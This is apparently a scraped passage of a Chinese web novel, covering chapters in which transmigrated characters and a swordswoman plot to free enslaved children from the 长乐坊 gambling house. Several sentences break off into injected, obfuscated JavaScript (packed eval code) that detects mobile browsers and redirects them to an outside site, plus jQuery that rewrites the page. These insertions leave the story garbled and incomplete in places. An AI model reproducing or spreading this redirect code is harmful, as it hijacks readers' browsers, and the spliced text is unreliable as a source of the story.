“阁下似乎信息闭塞。”她挑眉,率先发起攻击:“我虽隐去真名,但仙界有心人皆知我所说的主角是谁,以他的才华,被称为救世主,或许不无可能。” 孟十八直视着她的眼睛:“仙界向来先有救世主之名,再论救世主之才,你又为何颠倒因果?” 柳原自出生起就被宣布为救世主,未至及冠已经踏入五境,习百家之长,练就通天本领。 若是仙界刻意隐瞒第二位救世主,花无定又从何而知,又为何公然说出这个名号。 “你是故意的。”孟十八接着道。 “你写下这个称号,呆在这里,是在等人。” “你在等一个同样对救世主有好奇心的人。” 花无定半无被拆穿的窘迫,反而轻笑一声,吟道:“柳叶初生春信至,桃花笑杀南燕归。” 这就是神尊的绝笔。因为消息泄露,从玄明孟家的秘密,变成三界皆知的预言。 曾有魔修向魔尊提议,杀光与这预言有关的每个人,这位魔修得到的只有孟危的冷笑与贬谪,居于尊位的孟危见惯明枪暗箭,也不会在乎昔日手下败将。 也曾有人不甘平凡,将姓氏更改,只为契合预言,而最终这些人最辉煌的时刻,也不过更名的瞬间。 孟十八是哪种人?花无定转着手里的小瓷杯判断,她不来自仙界,就是魔修,身上灵力敛得干干净净,探不出深浅,墨发黑眸,又实在普通,但是为救世主传言找上她,说不定与魔宫有几分关系。 “你为谁而来?”她饶有兴致发问:“救世主真实与否,是你的责任,还是你的兴趣?” “为一本书。” 孟十八轻描淡写道。 “那本书叫《子归笔记》。” 柳原能从无字天书里得到昆仑的影子,那么第二位救世主也可以,孟十八暂无取人性命的想法,她只需要知道昆仑在哪,明灼是谁,她自己又是谁。 失忆醒来后,她一直在魔界生活,但对魔界并无归属感。之前在武陵,她体会过人世的愚昧与渴望,也见证过人的情意与反抗。 在某个瞬间,她会失去对仙魔人的判断,他们有何不同,他们为何被划分,何为仙,何为魔,她又是其中的哪一个。 如果她真的是明灼,如果她真的来自昆仑,那么这些年她栖于魔界,为相思楼所杀的一切,又算什么?仅仅因为失去记忆,昆仑的明灼就会成为嗜杀成性的孟十八吗? 她不愿承认,她不肯相信。 她见证明灼的成长,旁观明灼的挣扎,她与明灼吹过同一阵风,明灼受伤,她亦会痛,明灼悟道,她亦有精进。 她的本能,她执剑的原因,她要寻找的母亲。 唯独这一点她与明灼一模一样。 “我要找到昆仑,”她不掩盖自己的目的,“为我自己。” 花无定愣住了,她想找到玩笑的证据,找到谎言的痕迹,而孟十八的表现让她不得不相信每一个字都来自对方的内心:这位凭着只言片语找上门的女人是真的想找到昆仑,也是真的认为自己能找到昆仑。 “哈哈哈哈,好!” 花无定大笑起来,她喜欢有趣的故事,喜欢有故事的人,喜欢真情实意的痴心妄想。 “明灼,”她念出这个名字,“你这个朋友,我交定了。” “那就让我来告诉你吧。” “我眼中的第二个救世主,契合预言的少年。” “明见燕家,燕南陵。” * 小荷今天又偷偷来看他了。 燕南陵把人拉到死角,警惕地往外望了一圈,又转头瞪着她:“说了多少次这里危险不要来,你没别的地方去吗!” 他故意把话说得重些,好教这个死心眼的小孩别再回来,哪有逃离魔窟还恋恋不舍的? 小荷眼睛都不红,她之前还真的会伤心,现在想明白燕南陵是为自己着想,反而更加坚定也要把他拉出来的决心。她把怀里揣着的面饼塞到对方手里,小声道:“别怕,今天值班的叔伯我认识,不会被老狗发现。” 老狗就是他们的领班,奴隶头子,对上阿谀谄媚对他们非打则骂,故而被他们背地称为老狗。 燕南陵啃了一口饼,干巴巴的,嚼得他牙疼,若是半月前,他肯定想不到自己还会有吃这种东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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遭了,该告诉她,这戒指至少值二十两银子。 * 叶轻舟连上灵网后宛如掉进米缸的老鼠。 太好玩了,太有意思了,他躺在床上扭出一个诡异但舒服的姿势,每一个帖子都点进去观摩五分钟。 他怎么才知道这个好东西?! 怎么仙界魔界都不通互联网?! 俗话说得好,穿越最怕没有网。现在琅琊郡居然有城内论坛,而且内容丰富,涵盖天南地北八卦闲聊,小到厨艺展示,大到三界溯源。 哎呀,叶轻舟感叹,此间乐,不思蜀也! 什么任务什么系统都去见鬼吧,他现在就要退休,在琅琊住一辈子! 【检测到区域任务】 不解风情的系统冒出来,叶轻舟装聋作哑,继续看仙魔互喷笑话。 【琅琊郡区域任务已更新】 【区域任务已接取】 【进入灵网,已完成】 【进入灵网悬赏区,待完成】 怎么还强买强卖了?叶轻舟很不爽,谁都不愿意打游戏打到一半去看网课。 但是偏偏,他重新看向光幕,这个悬赏区确实就在旁边,豆腐块大小,偶尔滚动着新消息。 “我倒要看看是什么内容?” 别是什么开局找猫找狗结局找齐一百只猫罐头这种又臭又长的收集任务。 叶轻舟抱着我倒要看看你想整什么活的心态点开栏目。 最新一条写着: 【救人,赏金有限】 系统不负众望。 【进入灵网悬赏区,已完成】 【接取救人悬赏,待完成】 救人? 叶轻舟嘀咕着点开这个ID小荷的帖子。 什么人还要系统逼我救啊? 22. 委托 小荷写的悬赏很简单:要求年轻、非常住、非世家的修者。 赏金标的更简单:面议。 十个面谈九个不给钱,寥寥几个评论要么说她钓鱼,要么劝她报官,衙门连面锦旗都不会要。 叶轻舟同样这般想,他掰着手指数,自己的确完美符合这些条件。 “这不会是杀猪盘吧?”他先质疑系统:“这是不是系列任务?” 系统拒绝回答,只是一味发布任务: 【接取悬赏,已完成】 【前往指定地点,待完成】 呵呵,机器人。叶轻舟冷笑一声,很有骨气地往床上一躺装死。 【提示:此为限时任务,你的选择会影响最终结局】 “怎么,我不去就会出事?”叶轻舟哼声,“我才不会信你的鬼话。” 几分钟后。 不会轻信系统鬼话的叶轻舟站在指定地点与一个刚到自己胸口的小女孩大眼瞪小眼。 “冷不冷?”叶轻舟败下阵,“你想吃什么?” 他光顾着玩灵网还没吃晚饭。 小荷狐疑地打量着这位眼神清澈笑容愚蠢的青年,试探报道:“卤牛肉蒸羊羔盐水鸭清蒸鱼红烧鸡翅。” 哇,叶轻舟感叹一下,你还挺会吃。 挺会吃的小姑娘得到了一碗装满肉的红烧牛肉面。 她的面前多了另一个笑容真诚强壮有力的厨子。 “我叫君瑶,是这里的厨子。”君瑶笑盈盈介绍自己,“慢慢吃,我们不急。” 叶轻舟在边上嗯嗯啊啊附和,他同样吃得不亦乐乎,太幸福了,这绝对是他人生吃的最好的一碗牛肉面。 吃饱喝足,叶轻舟给三人倒上一杯节气茶,会谈正式开始。 小荷拿出一枚玉戒放到桌上,“你们认不认识这个东西?” 叶轻舟和君瑶对视一眼,两个人都老实摇头。 一个说:“挺贵的。” 一个说:“好值钱。” 小荷松了口气,不认识就说明和燕家没关系,又说道:“你们,厉不厉害?”她听燕南陵吹嘘的时候记下几句,什么四大家族什么九境三重。 叶轻舟轻咳一声,拿出面试的态度:“我出身云霄门,师从安风君,仙力三境,主修符法,够吗?” 小荷瞪圆眼睛,她只听懂仙力三境,和燕南陵一样。 “那你知不知道长乐坊?” 君瑶先变了脸色,“你要救的人在里面?” 叶轻舟不明所以:“这不是个娱乐场所吗?”灵网上有这家广告,里面还有海鲜自助呢。 “是赌坊。”君瑶为他解疑:“整个琅琊最大的赌坊。”她递给对方一个你懂的眼神,又转向小荷:“你想救的人,是欠赌债,还是……” “不是不是。”小荷忙摆手,“他,他是个好人。” 半月前,小荷给自己的赌徒老爹送饭,路上却被几个混混流氓拦下,那几个人嘴上说她爹欠债不还,已经把女儿卖给他们为奴,强拉着小荷不放。 就在这时,只听见唰的一声,一位贵气少年立于巷口,银冠红袍,手里三尺青锋,话也分为冷冽。 “滚出去,或者,把命留下。” 然后呢,叶轻舟问起后续,听上去经典开局啊。 小荷狠狠地叹气:“我爹真的把我卖了。” 长乐坊有自己的规矩,契约必须履行,小荷爹在欠条上按下自己的手印,又有见证人证明他知晓内容,所行皆是自愿,那么小荷名义上,已经是长乐坊的奴仆。 燕南陵出手相救,反而将他卷入其中,少年以一敌多,鏖战许久,最终受伤倒下,领头者的剑指向他的喉咙,为他的善心给他最后的宽容:离开长乐坊,不再插手此事。 可燕南陵冷冷一笑,却说:“我留下,让她走。” “我要救他。”小荷揉了揉眼睛,“他因我入地狱,我必须救他。” 燕南陵事后解释,自己本是世家少爷,不过在这待上几天自会有人来接他离开。可小荷看得分明,他一心要靠自己的本事离开,次次顶撞只换得更重的惩罚。 “你的想法很好,但是,”叶轻舟不得不打断小荷的悲愤:“谁来承担后果呢?” 一腔热血确实可以成为豪杰,可是对抗长乐坊这样的组织,光有热血哪够。 君瑶在边上帮腔:“是啊是啊,你们就算逃出来,也只逃得了一时,逃不了一世。长乐坊机关重重,除非我俩去赌场把你的卖身契赢回来。” “或者把你的卖身契找到烧掉,无凭无据,万事大吉。” “赢回来?你们会吗?” 呃,叶轻舟两手一摊,他连麻将都没认全。 君瑶同样面色尴尬:“我们要不还是讨论怎么把卖身契偷到手吧。” 小荷见两个大人顾左右而言他,气狠狠道:“你们就是胆小鬼,直接冲进去把人带走不行吗!” “我知道长乐坊的小门在哪里!” * 喏,花无定歪歪头示意,就是这里。 比起前面花团锦簇的美景,供佣人居住的地方又小又破,风声混合着水滴声,显得寂寥而真实。 繁华落尽,那些醉生梦死的赌徒们,大多也是这般下场。 “他们多是被家里卖来,不分男女,都是十五两银子。”花无定的声音很平静,“想要赎身,则是二十两。” “有人离开吗?” 哈,花无定被这句话逗笑了,“尸体也要收十两。” 一个月的月例是二百文,五个月不吃不喝才能攒上一两,但每月孝敬领班的茶水钱少则一百文高则三百文,若想挤到门口迎来送往或是为贵客服务,要付出的不只是钱财,还有良心。 孟十八皱眉,她对这种场所已经厌恶至极。 “你要把他救出来?” 花无定发出轻笑:“当救世主的救世主?我没兴趣。” “你不是想看我的理由吗?” “这也是一部分。”她转身离开,“看他怎么离开这里,不是很有趣的证明吗?” 有趣? “你带我来此,只是因为有趣?” 花无定并未因此停下脚步,“你在愤怒,这也很有趣。” 愤怒? 孟十八扫过眼前的情景,手里紧握着剑柄。 她已经在克制自己,不要一剑斩断这破败的一切。 这种地方就不该存在。 因为阴暗,因为屋内人的命运多舛,因为屋外的金碧辉煌。 “你是谁?”带着警惕的发问,回来的少年身上还套着廉价的外袍,眼里盛满讥诮:“贵客迷路迷到这里了?” 二人眼神相对,已是第一回交锋。几乎同时,两道来源不同的灵气对撞在一起,又震落房梁上的灰尘。 原来他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶轻舟添上一笔:“我可以用法器赶一个假人混淆视听?” 小荷兴奋提议:“我和值班的老伯很熟,能带你们混进去。” “但问题是,”叶轻舟泼冷水,“卖身契在哪?” 这下三人齐齐哑火。 讨论了半天营救计划到此歇菜,君瑶一拍桌案说算了明天再议,把小荷带回自己家。叶轻舟去送她们,在大门碰到刚回来的孟十八。 这么晚?叶轻舟闻到她身上一股香味,呛得他打喷嚏。 “你这是去了哪?”他揉着鼻子问。 孟十八不觉得有什么值得隐瞒,“长乐坊。” 叶轻舟眨眨眼睛,这世界真小,你去长乐坊我也要去长乐坊,正好取点经,又凑过去问:“里面热闹吗?” 孟十八起先还回答,见叶轻舟问得越来越偏,打断道:“不可去赌,我们还有任务在身。” 她说这话半点不心虚,两天没见龙离渊,也不知圣女的正事谈得如何。 叶轻舟讨饶道:“我好奇而已,灵网上长乐坊在美食榜排行前十,我想去尝尝味道。” 脚步一顿,孟十八停在自己的房门前,看向身边的笑眯眯的搭档。 “周五不要去长乐坊。” “?” 孟十八合上自己的房门,没有留下理由。 周五? 叶轻舟目瞪口呆。 为造势琅琊盛事,长乐坊会在这周五举办义卖,邀天下来客共赏。 这是名流汇聚的宴会,也是浑水摸鱼的最佳时机。 他们三定下的计划,就是这周五! 23. 倒计时 周三,距长乐坊济世好施拍卖会还有两天。 华灯初上,在各色灯光照耀下,长乐坊外金碧辉煌,站在门口也能听见欢快悠扬的曲调。 叶轻舟与君瑶对视一眼,各自整了整衣襟,抬头挺胸迈步前进。 作为事先侦查的一部分,他们要扮作外地暴发户,手里攒不住闲钱来这消费娱乐,而后暗中观察,找到存放卖身契的地方。 君瑶为此特意换了一身装扮,宝蓝上衣与朱砂下裙,配上发髻中的珠钗玉簪,手腕上套的是翡翠镯,珠光宝气,分外夺目,叶轻舟站在边上就是个小跟班,负责冷脸,负责拒绝,负责偷摸摸放出法器侦查地形。 暴发户君瑶上桌玩了两把,一赢一输,立刻摆出一副输不起的娇气样,借口头晕让侍者给她开单独包厢,等人一走门一关,立刻没形象地瘫在软榻上,哎哟哎哟叫唤着万恶的资本家。 叶轻舟布下阵法,同情中带点笑意:“老乡,演技可以。”一个当之无愧的大拇指,“鞭辟入里,栩栩如生。” “我谢谢你啊。”君瑶喝着长乐坊独家饮料,发出满足的轻哼,“怎么样,有进展吗?” 叶轻舟坐到旁边,投出光幕,他用科学原理与仙术一同搓出来的微型机器人们正在勤勤恳恳地趴墙角,“长乐坊三楼以上都是住宿,不用考虑,现在一楼能确定是包括景观、赌场、仓库、餐厅和佣人房,二楼是私密包厢与高级餐厅,三楼防护罩太强,在我之上。” 其中一个小机器人跟在侍者身后,很快,侍从领班的脸借由它的“眼睛”被投放到二人眼前的光幕上:领班看上去四十奔五,贼眉鼠眼,尖酸刻薄样,说话时唾沫横飞,露出一口残缺不齐的大金牙,脸上每一道皱纹都写满算计。他腰上插着一把小算盘,手里哗得一声,巴掌已经抽到对面侍者脸上。 “奴隶主!”君瑶拍案而起,眼睛冒火,叶轻舟同样如此,二人哪怕身在异世也没忘记从小接受的教育,哪里容得下这个。 他们伪装的身份给了方便,叶轻舟撤去光幕,君瑶摇响银铃,借着之前光幕所得消息,指名道姓要忍冬来伺候。 忍冬端着盘子进屋时,半边脸的脂粉,君瑶强行把人拉到身边,“老东西凭什么打你!” 叶轻舟从自己的储物袋里翻出药,君瑶用自己的手帕沾水为她擦拭,用细细把药涂上。 这可把忍冬弄愣了,小姑娘看着面前上手给自己抹药的贵人,想也没想先是磕头认罪,口说自己面污脏了贵人的眼。 君瑶一听更生气,“起来!”她的手没做伪装,握刀杀鱼的手温暖而有力,“忍冬,对吧,我们是想帮你。” 谁知忍冬听了更加惊慌失措,眼泪冲去脸上的药膏,露出清晰可见的红印。叶轻舟见她情绪激动,递给君瑶一个眼神,自己隔着距离,为她输送一点灵力化解心中郁阻。 君瑶之前是衣食无忧的大学生,一朝穿越先是全家灭门独自复仇,后来身处异乡做了好几年厨子,向来是自己惨到没边乐观看待,安慰人反而笨手笨脚,反观叶轻舟,轻声细语哄着小姑娘,不知从哪变出个木雕小猫,让忍冬破涕为笑。 她之所以这般应激,原来是有的贵族富豪,心有恶念,表面上施恩于他们仆从,假意骗取他们信任,待他们将自己悲惨来历全盘托出后,当着所有人面撕碎他们的期望,撕开伤疤还要再撒一层盐,盲信的代价会化作领班老狗的鞭子尽数落下,重则断气。 叶轻舟能说服忍冬,还归功于小荷给他们的一件信物:忍冬见到那张写的坑坑洼洼的纸条后才真的相信他们。 “我知道你,”忍冬止了哭泣,眼睛通红对君瑶道:“对……” 君瑶叹了口气,“不用说对不起,该说对不起的也不是你。”她沾上药膏又为忍冬重新上药:“是我不了解这里,行事冲动,没考虑到你的心情,抱歉。” 叶轻舟眼见气氛凝重要往抱头痛哭的方向上发展,连忙插入话题:“错的是整个长乐坊。” 他直白说出目的:“忍冬姑娘,我们准备烧毁卖身契。” “因为小荷?” 叶轻舟点点头:“也因为你。” 君瑶在边上帮腔:“来都来了,当然要全带走。” 可是,忍冬咬着嘴唇,“这里到处戒备森严,他们……” 忍冬今年十五岁,已经在长乐坊呆了九年。从最低级的跑腿,到如今可以出现在赌场的侍者,她挨过的鞭子比得到的赏钱还多。但也因如此,她对长乐坊的了解,要比其他人深入一些。 “卖身契在管事的屋里,在三楼斜角,除了管事谁也进不去。”忍冬在他们原有的地图上比划,“我只在小时候见过一次,”她哽咽了一声,“因为有个姐姐死了,她的卖身契才能被烧掉。” “进入三楼的评判是自动的,在大门的时候登记录入的灵力,就是给每个人划出一页账,要积攒金额达到五十万灵石,才能进入三楼,即使是陪同的佣人都不行。” 这可糟了,叶轻舟敲敲脑袋,一千灵石他还能凑出来,五十万不如把他卖了。现在去和相思楼打借条有用吗,希望不是九出十三归。 君瑶眉头紧锁,问道:“几日后的慈善义卖,在哪里举办?” “三楼。” 忍冬与叶轻舟异口同声答道。 灵光一现,叶轻舟问:“若是参与义卖的富商头回来长乐坊呢?” 忍冬:“会发邀请函,凭此入场。”她明白叶轻舟的想法,肯定道:“那些人是可以带仆从的。” 柳暗花明又一村,叶轻舟以拳击掌:“那我知道往哪想办法了。” “还有一条,”君瑶插嘴道:“你们也能上三楼,这肯定不是看消费水平。” 忍冬点点头,她想了又想,语气充满不确定:“我记得那回是老狗带着我,绕了好几圈,但是具体怎么走,我没有印象了。” 看来是少不了和这个老狗一会。 “在义卖那天,老狗会在哪里?” “应该……也在三楼?”忍冬迟疑道:“之前有大活动时老狗就这样到处跑,我们找不到他,他随随便便就能抓到我们。” 叶轻舟以手作笔,在光幕上写下几个重要信息,老狗的名字被画了圆圈,旁边是简易的楼层图。 “我们这两天就住在这里,我们就用这个联系。” “有什么想补充的,可以随时联系我们。” 一张通讯符被放到忍冬手上,叶轻舟向她保证:“如果有事,你就撕碎它,我们一定会来。” 忍冬珍重地把符纸贴身收好,“谢谢你们,”她轻声说:“你们也要保重。” 君瑶将一串铜钱和之前的药膏塞到她手上,眼神坚毅,笑容温暖,“以后来我那,想吃什么我都给你做。” 忍冬感激地离开了。 “我觉得现在很妙又很不妙。”叶轻舟用一句废话文学开场:“理想很美好,现实很残酷。” 君瑶托腮研究着地形图,“我们现在有两条路,一是伪装仆从混上楼,直接进入办公室偷取卖身契;二是挟持老狗与我们合作,拿到卖身契。”前者天方夜谭,后者电影大片。 “先找小荷再商量商量,说不定能想办法钓出老狗。”叶轻舟嘴上说着,实际上已经狂敲系统,而这个关键时刻不给力的系统只会: 【想出合适的办法进行行动,进行中】 【潜入长乐坊,时间未到】 哈哈什么玩意,叶轻舟狠狠吐槽,君瑶感同身受,因为她的系统面板依旧是: 【好感度:0】 算了算了,两个倒霉的穿越者起身,一个正衣冠重回贵族风,一个收结界以免落下把柄。 “我一直很想问了,”君瑶忍不住道:“老乡你是做过家政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215379|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗,手法这么熟练。” 叶轻舟微微一笑,“是做过清洁工。”给魔界第一杀手做后勤清洁,擦血迹搬尸体还附带解咒服务。 也不知道孟十八在做什么,他想起自己搭档留下的那句话,难道周五还有其他大事会发生? * “长乐坊的义卖,你替我去。” 客栈里,被搭档惦记着的孟十八接过龙离渊手里的邀请函,上面的名字陌生却熟悉:“理由?我要做什么?” 龙离渊眉目间是散不去的疲色,连发冠间的明珠都显得黯淡:“我有别的事。你只需要去坐着,把东西捐出去再拍回来,钱不是问题。” 她又拿出一个小木盒,“这是你要捐的东西。” 孟十八打开盒子,里面是一捧土,上面既无灵力也无魔气,却能闻到一股硝烟,来自战场,来自久远以前。 龙离渊没有为她解释来源,只道:“你随便再带个人去,也不必特立独行,那个叶轻舟就不错。”她拍了拍孟十八的手:“不带他更好。” 这两句话里她勉强恢复了些过去活泼的劲,孟十八轻轻应声:“我知道了。”她还想再说些什么,但话到嘴边化成一句:“你好好休息,我一直在。” 龙离渊抬头看向她,眼神里闪过复杂的情绪。 “我知道……” “我也希望,你一直都在我身边啊……” 她对着合拢的房门,在心中念道。 孟十八本想找叶轻舟,但对方的房间外明珠暗淡,是住户不在的意思。想起自己之前告诉他不要去长乐坊,更何况自己此次前去,重点并不在义卖会上,回房后用灵网联系上花无定: 【明灼:周五,长乐坊拍卖会,和我一起。】 【花无定:哇哦,你哪来的邀请函?】 【花无定:让我猜猜,魔界肯定是相思楼!】 【花无定:但是你不像是会做生意的。】 【花无定:明为日月,灼为火,我来拆字想一想】 【花无定:好吧!我猜不出来!】 【明灼:是沧波望远。】 【明灼:周五见。】 孟十八在发出消息后才想起来,沧波望远是一个从黑鸦城起家生意遍布魔界的组织。 他们的前任老大,曾经重金拍下一块万魂幡碎片,最终死在她手上。 那块她只能感受到空无,而叶轻舟反应异常的魂幡碎片。 她记得那夜,记得那场追杀,记得那个老头阴恻恻的笑: “怀璧其罪!怀璧其罪!” 他的灵魂最终被魂幡吞噬,化为虚无。 而现在,原本属于沧波望远的邀请函,出现在她手上。 周五,她定定地思考着,她要做的事,还有很多。 * “好的,一间单人套房,周六白天退房即可。” “祝您入住愉快!” 叶轻舟面无表情地点头,实则心里在为花出去的灵石哭泣,为了更好打探消息,他和君瑶直接选择在长乐坊开房住下,每人值班半天探索。 我想念我在客栈那间不用花钱的大房间,叶轻舟心头滴血,和君瑶在侍者的引导下一前一后穿过大堂和迷宫一般的赌场。 一位清瘦的少年与他们擦肩而过。 叶轻舟只顾研究天花板有没有监视,君瑶装着大小姐派头也不好东张西望,突然她猛一回头,差点撞到没看路的叶轻舟。 “怎么了?” 君瑶摇摇头示意此地不宜说话,又探头往身后望了望,人潮汹涌,分不出具体的影子。 他们没注意到那个清瘦的少年眼底藏着复仇的火,也没有听到在佣人房的小门旁,小荷称呼他为燕南陵。 他们只看到了,君瑶那块系统面板上,数字悄悄往上跳了一格: 【好感度:1】 24. 三方汇集 君瑶没法不去想那个好感度。 她尝试过很多次,用她玩恋爱游戏的经验,可是无论做什么,那个系统界面依旧在卡在0上,唯独锻炼出她路见不平一声吼的习惯。 然后现在,她什么都没做,只是在走路,那个好感度居然涨了。 她内心里关于一眼万年的少女梦就这样碎了。 住在长乐坊的两天里,她尽可能跑遍了所有能踏足的地方,好感度没有任何变化,好像那个攻略对象只是路过长乐坊,下一个剧情点在其他地方。 可惜她不能存档,君瑶在心里叹气,这个系统在之前给过她一个能力,存档,但只能用一次,她用在了起始点,每一次想覆盖的时候,都会有更重要的事情需要她解决。 比如现在。 收起注意力的厨娘与叶轻舟交换眼神,二人皆穿着侍者衣服,忍冬与另一个少年则扮作他们呆在包厢里准备策应。 拥挤破旧的佣人房旁,是一层旋转楼梯,往上走,是领班老狗的休息室与发财屋。忍冬告诉他们,老狗有一个怪癖,每逢大事,必要先在屋内数一遍钱。 数着银票灵票的老狗正不亦乐乎地算着账,听到房门被推开的声音,破口大骂:“兔崽子欠收拾,滚!” 预料之内的惶恐与哭泣没有出现,反倒是一道寒锋指向他的脖子,老狗猛然回头攻击,不料三下两下就被面前一男一女制服,男的手背上爬着怪异法器,女的手上一把剔骨刀,正正好好架在他脖子上。 他认识这两张脸,前两天入住的暴发户,出手阔绰,忍冬那个死丫头还算老实,自己就留了一盒药。 这种暴发户换了身皮来威胁他,老狗心里明白,这是游侠好人好事做到这了。 解决当然好解决,他脸上叠起笑,褶子皱到一块,谄媚道:“二位大侠,小人有眼不识泰山,请问二位有何吩咐?” 君瑶掂了掂手里的刀,“少嬉皮笑脸,我问你,他们的卖身契在哪?” 果然是来赎身的,老狗眼里精光一闪,面上笑嘻嘻:“大侠问的是哪位?这东西可不在小人这里。” “全部。”叶轻舟冷声道:“卖身契在哪?带路。” 带路?老狗心里冷笑,三楼现在戒备森严,嘿,定叫你有来无回! 他面上依旧点头哈腰,“大侠这边请,这边请。” * 长乐坊三楼,济世好施拍卖会。 花无定与孟十八一前一后走入会场,前者低调奢华,后者神情严肃,标准的富人与保镖。 原先花无定想让孟十八演大佬自己当手下,理由也很充分,沧波望远是魔界势力,她又不是。但是孟十八的衣柜里只有一水黑色,连个暗纹都没有。可惜了这难得的好料子,花无定大叹孟十八在生活上牛嚼牡丹没有品味。 不过进来才知道,孟十八何止没有品味,甚至没有常识。 花无定又喝干一杯饮料,侧身轻声介绍:“老头是玄明孟,女人是飞仙岛,男青年是人间……明见燕的人还没到。” “相思楼的在那,”她示意角落里沉默寡言的女子,“你们品味还真是惊人相似。”都是一身黑。 孟十八扫过众人,除了玄明孟家的老者实力深厚她探查不清,其他大差不差。 明见燕家的代表依旧未来,拍卖已经开始。 先上来的是人间宝物,背后是一对帝后的鹣鲽情深,而后是仙界的青玉法器,展现法宗的实力雄厚,接着就是: “这一件,是沧波望远所捐,来自千年前上古战场,是昔年神尊与魔尊决战之地……” 花无定暗暗撇嘴,骗小孩呢,神尊魔尊打架居然会没有仙力也没有魔气?她侧头想问孟十八葫芦里卖的什么药,“这丫头,”她无奈一笑,“跑了也不和我说一声。” 她懒洋洋举起牌子,却见原先空着的明见燕家的座位上,已经坐着两个人,大的那个看不清,小的那个,花无定扬眉,有意思了。 * 孟十八与燕南陵在角落相遇。 “看来我们不谋而合。”燕南陵抱臂嘲道,“你也来收集证据?” 孟十八摇摇头,她不需要证据。 “让开。”她简洁明了,一张引爆符被她贴在墙角。 她只需要炸了长乐坊,这就是孟十八的办法。 燕南陵的脸色霎时阴沉下来,愤怒在他心头燃烧。 凭什么,他咬牙切齿,心脏狂跳,凭什么她可以,她凭什么炸掉这栋楼。 “你为什么这么做。” 孟十八头也未回,“长乐坊就不该存在。” 没有那么多理由,没有那么多前因后果,长乐坊与她的世界没有重叠,她完全可以像花无定那样端坐其位,欣赏表演。 但是孟十八看见了,孟十八看见了奢靡背后的血泪,看见了金银背后的贫穷,她既然看见,就不能坐视不管。 明明没有人这样教过她。 相思楼教她如何杀人,她也只会杀人,不问缘由,不问目的。 难道她没见过这样的地方吗? “难道你没见过这样的地方吗?” 燕南陵知道自己该回去,回到属于明见燕家的位置,他知道自己该做什么,他答应过父亲,他知道他要做正确的事情。 可是凭什么,凭什么这个女人可以做到他不能做的事情?她在理所应当什么?她以为长乐坊是三界唯一的污秽吗?她以为炸掉长乐坊就能拯救——她凭什么这么天真! 更何况沦落长乐坊被当成奴仆的是他!这个女人不过是这几日才出现,哪来的一腔热血,哪来的救世情怀,他自己都放弃了!他自己都选择了另一个,更稳妥的方法! “你以为你是救世主吗?”冒着酸气的话语源源不断从他嘴里倾吐,“就算你把长乐坊炸上天又怎么样?你以为他们会有好日子过吗?你知不知道三界之大还有无数个像长乐坊甚至比这里更肮脏的地方!你不过是螳臂当车!天真至极!” 他的父亲就是这样说的,严肃,带着失望,连最微末的叹息里都是对他天真的嘲弄。 “离开燕家,你能做到什么?” 他什么都做不到,连救人都要靠他燕家少主的身份,要活在他父亲的荫庇下。 他甚至没有孟十八手里那样精致的引爆符,只能用打杂跑腿时积攒的,那些赌徒们随手一丢的符纸,与垃圾堆里淘出来的朱砂,勉强凑出一张符,还被他父亲亲手抓获——那样失望的眼神,和他记忆里自己每一次犯错时的眼神一模一样! “没有。” 孟十八回头,对上燕南陵惊涛骇浪般的眼神。 她只见过相思楼,从上到下,从酒楼跑堂,到内部杀手,没有一个像长乐坊这样豢养奴隶。 “如果没有,就再炸一次。”她在武陵就是如此,“一次不够,就两次。” “即使杀不完,它们也不该存在。” 话音落在地上,孟十八已经没了踪影,她赶着前往下一处地点。 燕南陵僵硬站在原地,看向角落里那张引爆符。 答案,真的只会是这么简单吗? 他想嘲笑对方的天真无知。 “少主。” 眉间的愤怒化成柔和的线条,燕南陵抬起头,应道:“就来。” * 拍卖会即将来到压轴。 自从沧波望远的拍品以一个合理的价格被拍回手中,花无定已经对这种故事性大于实用性的拍卖会感到无聊,心里暗骂明见燕的面子真够大,还和玄明孟抢上压轴了,害得她等到现在。 明灼怎么还没回来?虽然早猜到那姑娘来历不凡,自己也是自愿来陪她演戏,但,花无定收起灵网,苏横流说琅琊一切正常。 她到底要做什么?花无定回忆起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232885|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人之前的对话,想到明灼第一次看到长乐坊的佣人房时掩盖不住的愤怒…… 一阵窃窃私语拉回她的思绪,燕家所捐赠的木盒摆放在台上,而吸引大家注意的,则是站在其后的那位少年,银冠玄袍,比起众人印象里笑傲不羁的少年郎多了几分沉稳。 此人正是燕南陵,他一落木槌,没有任何开场白,也不屑于加入多余的修饰,而是直截了当地投出光幕,将一张张卖身契投到众人面前。 十五两银子只是赌桌上的一枚筹码,却是无数孩童一生的价格。 二百文在琅琊郡的酒楼里只空饮茶水,却是这些奴隶一月的口粮。 十五两卖掉的未来,十两银子才能收回的尸体,九出十三归的高利贷,还有他自己。 他自己就是证据。 燕南陵的语调不自觉抬高,他看向底下神情不一的人,看向他们一双双惊讶的眼睛,心里只有十足的快意与嘲弄: 